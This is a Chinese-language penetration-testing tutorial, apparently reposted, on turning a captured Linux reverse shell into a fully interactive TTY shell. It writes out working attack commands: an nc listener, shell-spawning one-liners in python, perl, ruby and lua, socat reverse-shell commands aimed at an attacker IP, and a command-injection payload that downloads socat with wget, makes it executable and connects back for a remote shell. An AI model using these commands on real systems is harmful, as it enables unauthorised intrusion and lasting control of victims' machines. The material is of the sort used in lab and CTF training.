Linux 反向 shell 升級為完全可用的 TTY shell


升級遠程 shell(僅限 Unix 機器)

通常,在通過 nc 捕獲 shell 之后,會在一個功能非常有限的 shell 中。例如沒有命令歷史記錄(並使用向上“”和“向下”箭頭循環瀏覽它們)和文件名稱、命令自動完成等。在缺少這些功能的 shell 中查詢或操作會比較麻煩。

注意:要檢查 shell 是否是 TTY shell,請使用 tty 命令。

rlwrap

可以通過使用 rlwrap 命令包裝 nc 偵聽器來減輕對 shell 的一些限制。默認情況下不會安裝它,需要使用 sudo apt rlwrapapt-get install rlwrap 安裝。

rlwrap nc -lvnp $port

使用 Python 升級到完全交互式 shell:

  1. 首先連接到 shell 后,先檢查一下 python 的可用性, 用 winch 命令檢查:
which python python2 python3

只要安裝了其中任何一個,就將返回已安裝二進制文件的路徑。

  1. 在靶機上輸入以下命令(使用機器上可用的 python 版本!)
python3 -c 'import pty;pty.spawn("/bin/bash")';
  1. 接下來,在靶機上輸入以下命令來設置一些重要的環境變量:
export SHELL=bash
export TERM=xterm-256color #允許 clear,並且有顏色
  1. 鍵入 ctrl-z 以將 shell 發送到后台。

  2. 設置 shell 以通過反向 shell 發送控制字符和其他原始輸入。使用以下stty命令來執行此操作。

stty raw -echo;fg

回車一次后輸入 reset 再回車將再次進入 shell 中:

image

到此 TTY shell 升級完成。

其他語言寫入交互式 shell:

echo os.system('/bin/bash')
/bin/sh -i

#python3
python3 -c 'import pty; pty.spawn("/bin/sh")'

#perl
perl -e 'exec "/bin/sh";'

#ruby
exec "/bin/sh"
ruby -e 'exec "/bin/sh"'

#lua
lua -e "os.execute('/bin/sh')"

使用 socat

另一種方法是將 socat 二進制文件上傳到靶機並獲得一個完全交互式的 shell。從 https://github.com/andrew-d/static-binaries 下載適當的二進制文件。Socat 需要在兩台機器上才能工作。

#在本地監聽::
socat file:`tty`,raw,echo=0 tcp-listen:4444

#靶機:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234

如果在命令注入的地方注入反彈 shell,獲得即時完全交互式的反向 shell:

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /dev/shm/socat; chmod +x /dev/shm/socat; /dev/shm/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.11.100:1234

如果靶機訪問不了互聯網,就先把 socat 文件下載下來,開啟 http 服務,然后將上面的路徑指向你的本地地址。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM